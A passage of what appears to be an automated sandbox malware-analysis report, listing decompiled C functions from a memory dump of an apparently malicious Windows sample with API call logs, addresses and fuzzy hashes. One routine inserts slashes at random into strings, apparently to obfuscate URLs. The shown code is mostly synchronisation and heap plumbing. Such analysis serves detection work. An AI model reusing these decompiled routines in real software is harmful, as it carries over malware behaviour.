					}
					goto L20;
				} else {
					_t19 =  *0x267d0f0( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E0267A501(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x026742eb
0x026742f2
0x026742fc
0x02674300
0x02674306
0x02674315
0x0267431c
0x02674320
0x02674332
0x02674334
0x02674334
0x02674339
0x02674340
0x02674395
0x02674395
0x0267439b
0x0267439d
0x0267439d
0x026743a7
0x026743ab
0x026743bd
0x026743bd
0x026743c1
0x026743c7
0x026743c7
0x00000000
0x02674359
0x0267435e
0x02674366
0x02674368
0x0267436c
0x0267436c
0x02674379
0x0267437d
0x02674381
0x026743d6
0x026743dc
0x026743dc
0x0267438f
0x02674393
0x026743ca
0x026743cc
0x026743cf
0x026743cf
0x00000000
0x026743cc
0x02674393
0x00000000
0x0267437d

APIs

Part of subcall function 02677A9A: lstrlen.KERNEL32(026723E9,00000000,00000000,00000027,00000005,00000000,00000000,026796DA,74666F53,00000000,026723E9,0267D00C,?,026723E9), ref: 02677AD0
Part of subcall function 02677A9A: lstrcpy.KERNEL32(00000000,00000000), ref: 02677AF4
Part of subcall function 02677A9A: lstrcat.KERNEL32(00000000,00000000), ref: 02677AFC

CreateEventA.KERNEL32(0267D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,02673CA0,?,00000001,?), ref: 0267432B

Part of subcall function 02679039: HeapFree.KERNEL32(00000000,00000000,02677F18,00000000,?,?,00000000), ref: 02679045

WaitForSingleObject.KERNEL32(00000000,00004E20,02673CA0,00000000,00000000,?,00000000,?,02673CA0,?,00000001,?,?,?,?,02676880), ref: 02674389
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,02673CA0,?,00000001,?), ref: 026743B7
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,02673CA0,?,00000001,?,?,?,?,02676880), ref: 026743CF

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: 17d6f62260b336ee17029e6d6d965747b682cf04310684ae43b10667647ec062
Instruction ID: 3e5d66e06487461af738a235b8993cddbe6aec903dd047966af2f1a193d4b913
Opcode Fuzzy Hash: 17d6f62260b336ee17029e6d6d965747b682cf04310684ae43b10667647ec062
Instruction Fuzzy Hash: 0C2139329402519BC7315E7A7C4CB6F73B9AF88734F160A1AFA29DB240DF72C8458690

Uniqueness

Uniqueness Score: -1.00%

Function 0267A0B2, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0267A0B2(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x267d144; // 0x267ad81
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E02672049(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E02679039(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E02671C47( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x0267a0b2
0x0267a0b2
0x0267a0bc
0x0267a0c2
0x0267a0c5
0x0267a0c9
0x0267a0d1
0x0267a0d4
0x0267a0ed
0x0267a0f0
0x0267a0f4
0x0267a0f8
0x0267a0f9
0x0267a0fe
0x0267a101
0x0267a108
0x0267a10f
0x0267a162
0x0267a16b
0x0267a16e
0x0267a1a9
0x0267a1af
0x00000000
0x00000000
0x00000000
0x0267a16e
0x0267a115
0x00000000
0x0267a11c
0x0267a12a
0x0267a12d
0x0267a130
0x0267a13c
0x0267a140
0x0267a1a2
0x0267a142
0x0267a145
0x0267a149
0x0267a14a
0x0267a14b
0x0267a14d
0x0267a154
0x0267a192
0x0267a19d
0x0267a156
0x0267a159
0x0267a15d
0x0267a15d
0x0267a154
0x00000000
0x0267a140
0x0267a115
0x0267a0d9
0x0267a0df
0x0267a0e4
0x0267a0e7
0x00000000
0x00000000
0x00000000
0x0267a177
0x0267a17f
0x0267a186
0x0267a186
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,76D681D0), ref: 0267A0C9
SetEvent.KERNEL32(?), ref: 0267A0D9
GetLastError.KERNEL32 ref: 0267A162

Part of subcall function 02671C47: WaitForMultipleObjects.KERNEL32(00000002,0267AA72,00000000,0267AA72,?,?,?,0267AA72,0000EA60), ref: 02671C62

Part of subcall function 02679039: HeapFree.KERNEL32(00000000,00000000,02677F18,00000000,?,?,00000000), ref: 02679045

GetLastError.KERNEL32(00000000), ref: 0267A197

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 6891f61842bd516aaaaf8f3f1ae97e46d0bd66c8a41d40542f7ae75bf073a5a1
Instruction ID: 9bdb44b277b1c0c3f92a0a4a51f644b7dd27d417b60ab2c900c54e1e0b2488ab
Opcode Fuzzy Hash: 6891f61842bd516aaaaf8f3f1ae97e46d0bd66c8a41d40542f7ae75bf073a5a1
Instruction Fuzzy Hash: B731CF75D00249EFEB21DFE5EC8099EBBB9EB04344F10496AE541D2250D7719E49DF50

Uniqueness

Uniqueness Score: -1.00%

Function 02673BF1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E02673BF1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E02679763(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E0267A022(_t23);
						}
					}
					return _t38;
				}
				if(E0267A72D(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x267d2a8, 1, 0,  *0x267d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E02678A51(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E026717D5(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E02671F99(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E026742EA( &_v32, _t39);
					goto L13;
				}
			}

0x02673bf1
0x02673bfe
0x02673c04
0x02673c05
0x02673c06
0x02673c07
0x02673c08
0x02673c0c
0x02673c18
0x02673c1c
0x02673ca4
0x02673ca4
0x02673ca7
0x02673ca9
0x02673cb1
0x02673cb1
0x02673cb7
0x02673cba
0x02673cba
0x02673cb7
0x02673cc5
0x02673cc5
0x02673c2f
0x02673c31
0x02673c31
0x02673c48
0x02673c4c
0x02673c4f
0x02673c5a
0x02673c61
0x02673c61
0x02673c6d
0x02673c6e
0x02673c7c
0x02673c70
0x02673c70
0x02673c71
0x02673c72
0x02673c73
0x02673c74
0x02673c75
0x02673c75
0x02673c81
0x02673c86
0x02673c88
0x02673c8a
0x02673c8a
0x02673c91
0x00000000
0x02673c93
0x02673c93
0x02673ca0
0x00000000
0x02673ca0

APIs

CreateEventA.KERNEL32(0267D2A8,00000001,00000000,00000040,00000001,?,76D7F710,00000000,76D7F730,?,?,?,02676880,?,00000001,?), ref: 02673C42
SetEvent.KERNEL32(00000000,?,?,?,02676880,?,00000001,?,00000002,?,?,02672417,?), ref: 02673C4F
Sleep.KERNEL32(00000BB8,?,?,?,02676880,?,00000001,?,00000002,?,?,02672417,?), ref: 02673C5A
CloseHandle.KERNEL32(00000000,?,?,?,02676880,?,00000001,?,00000002,?,?,02672417,?), ref: 02673C61

Part of subcall function 02678A51: WaitForSingleObject.KERNEL32(00000000,?,?,?,02673C81,?,02673C81,?,?,?,?,?,02673C81,?), ref: 02678B2B

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: 5181c8cc396744fec8f11e27068fd53f4c51a0da3365a9aa1fe918206e3cbb77
Instruction ID: 294b8e7ab555d6d0dba0629e533935277591a6dd380819a9c82d3299afcf2237
Opcode Fuzzy Hash: 5181c8cc396744fec8f11e27068fd53f4c51a0da3365a9aa1fe918206e3cbb77
Instruction Fuzzy Hash: 6F21A772D00219EBCB10AFF4B8848EEB3BEAF44354B014869EA11E7300D735D995DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0267788B, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0267788B(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x267d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x267d250; // 0xa0bb0bca
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x267d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x02677893
0x02677896
0x0267789c
0x026778b4
0x026778b8
0x026778bb
0x026778bd
0x026778c0
0x026778c2
0x026778c5
0x026778c7
0x026778c7
0x026778c9
0x026778d4
0x026778d9
0x026778ea
0x026778f2
0x026778f7
0x026778fa
0x026778fd
0x026778ff
0x02677905
0x02677908
0x02677908
0x02677908
0x02677913
0x02677918
0x02677922

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,0267839A,00000000,?,?,0267A428,?,032F95B0), ref: 02677896
RtlAllocateHeap.NTDLL(00000000,?), ref: 026778AE
memcpy.NTDLL(00000000,?,-00000008,?,?,?,0267839A,00000000,?,?,0267A428,?,032F95B0), ref: 026778F2
memcpy.NTDLL(00000001,?,00000001), ref: 02677913

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 73850d0725dd31f417727087e5f0b727c821cd254c4fc31678e1d67149a79b3a
Instruction ID: 3b781e48621d5c7fbefcd2cd1f026b06792e238cf06bf56cf956e37702965aa0
Opcode Fuzzy Hash: 73850d0725dd31f417727087e5f0b727c821cd254c4fc31678e1d67149a79b3a
Instruction Fuzzy Hash: 5B112972E40114AFD7148B69FC84E9EBBAEEF95360F0406B6F505D7240EB709A59C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 02677A9A, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E02677A9A(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E02676B43(_t8, _t1);
				_t16 = E02672049(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E026786D8(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E02672049(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E02679039(_t16);
				}
				return _t18;
			}

0x02677aa5
0x02677aa6
0x02677aa9
0x02677aab
0x02677ab6
0x02677aba
0x02677abf
0x02677ac3
0x02677acb
0x02677ad0
0x02677ad8
0x02677ad8
0x02677ae1
0x02677ae5
0x02677aeb
0x02677aee
0x02677af4
0x02677af4
0x02677afc
0x02677afc
0x02677b03
0x02677b03
0x02677b0e

APIs

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

Part of subcall function 026786D8: wsprintfA.USER32 ref: 02678734

lstrlen.KERNEL32(026723E9,00000000,00000000,00000027,00000005,00000000,00000000,026796DA,74666F53,00000000,026723E9,0267D00C,?,026723E9), ref: 02677AD0
lstrcpy.KERNEL32(00000000,00000000), ref: 02677AF4
lstrcat.KERNEL32(00000000,00000000), ref: 02677AFC

Strings

Soft, xrefs: 02677AA6, 02677ABF

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: 5881e9081691f3f04a9a9955c5025920ac8d1d62c4867e6e0f6f0bb68883660b
Instruction ID: 292c7877b66c68bcc145d4d8826b37052708399b8db06a5046f3cc3c7c834812
Opcode Fuzzy Hash: 5881e9081691f3f04a9a9955c5025920ac8d1d62c4867e6e0f6f0bb68883660b
Instruction Fuzzy Hash: 2C01F232100249B7CB026EA5FC88EEF7B6DEF81745F14442AF90555100EB758A89CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02677C61, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02677C61(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x02677c6b
0x02677c6f
0x02677c84
0x02677c88
0x02677c8b
0x02677c91
0x02677c95
0x02677c98
0x02677ca3
0x02677c9a
0x02677c9a
0x02677c9a
0x02677c98
0x02677cb1

APIs

memset.NTDLL ref: 02677C6F
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,76D681D0), ref: 02677C84
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 02677C91
CloseHandle.KERNEL32(?), ref: 02677CA3

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 9c05ab08e3921739a433a6016fdcdb1428c9eb82f981c77a962b5873151f20cf
Instruction ID: e3c75d7483d8d023a5da802816db94d205650ddda4c38b0c5a5e1009bdc79ef0
Opcode Fuzzy Hash: 9c05ab08e3921739a433a6016fdcdb1428c9eb82f981c77a962b5873151f20cf
Instruction Fuzzy Hash: 39F0FEB5504308FFE3155F66ECC0C3BBBACFB851D9B12896EF04681641D632A8598AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0267970F, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0267970F() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x267d26c; // 0x200
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x267d2b8; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x267d26c; // 0x200
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x267d238; // 0x2f00000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x0267970f
0x02679716
0x02679760
0x02679762
0x02679762
0x0267971a
0x02679720
0x02679725
0x02679729
0x0267972f
0x02679736
0x00000000
0x00000000
0x02679738
0x0267973d
0x00000000
0x00000000
0x00000000
0x0267973d
0x0267973f
0x02679747
0x0267974a
0x0267974a
0x02679750
0x02679757
0x0267975a
0x0267975a
0x00000000

APIs

SetEvent.KERNEL32(00000200,00000001,02678099), ref: 0267971A
SleepEx.KERNEL32(00000064,00000001), ref: 02679729
CloseHandle.KERNEL32(00000200), ref: 0267974A
HeapDestroy.KERNEL32(02F00000), ref: 0267975A

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 93b189c6819a12fbddd5e97448d5237df558689e704e0a3aee9a906a152893ff
Instruction ID: 91bc3af2182d2d3cc60d105608f432cf77425b91920e41d33280663f5e8d9707
Opcode Fuzzy Hash: 93b189c6819a12fbddd5e97448d5237df558689e704e0a3aee9a906a152893ff
Instruction Fuzzy Hash: 5EF03035F863509BD724AE79B988B0E37E8AF10755B042E10B914D7380EB35D4D8D690

Uniqueness

Uniqueness Score: -1.00%

Function 026775E9, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E026775E9(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x267d32c; // 0x32f95b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x267d32c; // 0x32f95b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x267d030) {
					HeapFree( *0x267d238, 0, _t8);
				}
				_t14[1] = E026794A9(_v0, _t14);
				_t11 =  *0x267d32c; // 0x32f95b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x026775e9
0x026775e9
0x026775f2
0x02677602
0x02677602
0x02677607
0x0267760c
0x00000000
0x00000000
0x026775fc
0x026775fc
0x0267760e
0x02677612
0x02677624
0x02677624
0x02677634
0x02677637
0x0267763c
0x02677640
0x02677646

APIs

RtlEnterCriticalSection.NTDLL(032F9570), ref: 026775F2
Sleep.KERNEL32(0000000A,?,026723DE), ref: 026775FC
HeapFree.KERNEL32(00000000,00000000,?,026723DE), ref: 02677624
RtlLeaveCriticalSection.NTDLL(032F9570), ref: 02677640

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: a027072002ce76b0d5669ac9553022af63fb13884f7e4b3efcb01b95ac70129a
Instruction ID: 54699b3294e3620a878d161b8c2488345c4a67776b85c15df1275cf7f855c820
Opcode Fuzzy Hash: a027072002ce76b0d5669ac9553022af63fb13884f7e4b3efcb01b95ac70129a
Instruction Fuzzy Hash: EBF03470A80280DBE719CF78F848F0AB7E8AF15344B00AC06F806D6240D730E8A9CA69

Uniqueness

Uniqueness Score: -1.00%

Function 0267A5D6, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0267A5D6() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x267d32c; // 0x32f95b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x267d32c; // 0x32f95b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x267d32c; // 0x32f95b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x267e836) {
					HeapFree( *0x267d238, 0, _t10);
					_t7 =  *0x267d32c; // 0x32f95b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x0267a5d6
0x0267a5df
0x0267a5ef
0x0267a5ef
0x0267a5f4
0x0267a5f9
0x00000000
0x00000000
0x0267a5e9
0x0267a5e9
0x0267a5fb
0x0267a600
0x0267a604
0x0267a617
0x0267a61d
0x0267a61d
0x0267a626
0x0267a628
0x0267a62c
0x0267a632

APIs

RtlEnterCriticalSection.NTDLL(032F9570), ref: 0267A5DF
Sleep.KERNEL32(0000000A,?,026723DE), ref: 0267A5E9
HeapFree.KERNEL32(00000000,?,?,026723DE), ref: 0267A617
RtlLeaveCriticalSection.NTDLL(032F9570), ref: 0267A62C

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 3be19976396d26d81a194b394ab722c0cebf8d2f1c00c53b9606f875707aed12
Instruction ID: 42f3b5da5cd37cce5f3fd3b6830f8035848aefa9db5172a172c45a9b6a87508d
Opcode Fuzzy Hash: 3be19976396d26d81a194b394ab722c0cebf8d2f1c00c53b9606f875707aed12
Instruction Fuzzy Hash: 46F0B274A802409BE71CCF74F899E1D77E5AF09315B44980AE906DB390C731ECA8CE64

Uniqueness

Uniqueness Score: -1.00%

Function 02677F27, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E02677F27(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E02672049(_t2);
				if(_t34 != 0) {
					_t30 = E02672049(_t28);
					if(_t30 == 0) {
						E02679039(_t34);
					} else {
						_t39 = _a4;
						_t22 = E0267A911(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E0267A911(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x02677f27
0x02677f31
0x02677f33
0x02677f39
0x02677f39
0x02677f42
0x02677f46
0x02677f52
0x02677f56
0x02677fca
0x02677f58
0x02677f58
0x02677f5c
0x02677f63
0x02677f66
0x02677f80
0x02677f6f
0x02677f6f
0x02677f73
0x02677f76
0x02677f7b
0x02677f7b
0x02677f85
0x02677fad
0x02677fb3
0x02677fb6
0x02677f87
0x02677f89
0x02677f91
0x02677f9c
0x02677fa1
0x02677fa1
0x02677fbd
0x02677fc4
0x02677fc5
0x02677fc5
0x02677f56
0x02677fd5

APIs

lstrlen.KERNEL32(00000000,00000008,?,76D24D40,?,?,026715A4,?,?,?,?,00000102,026711DA,?,?,00000000), ref: 02677F33

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

Part of subcall function 0267A911: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,02677F61,00000000,00000001,00000001,?,?,026715A4,?,?,?,?,00000102), ref: 0267A91F
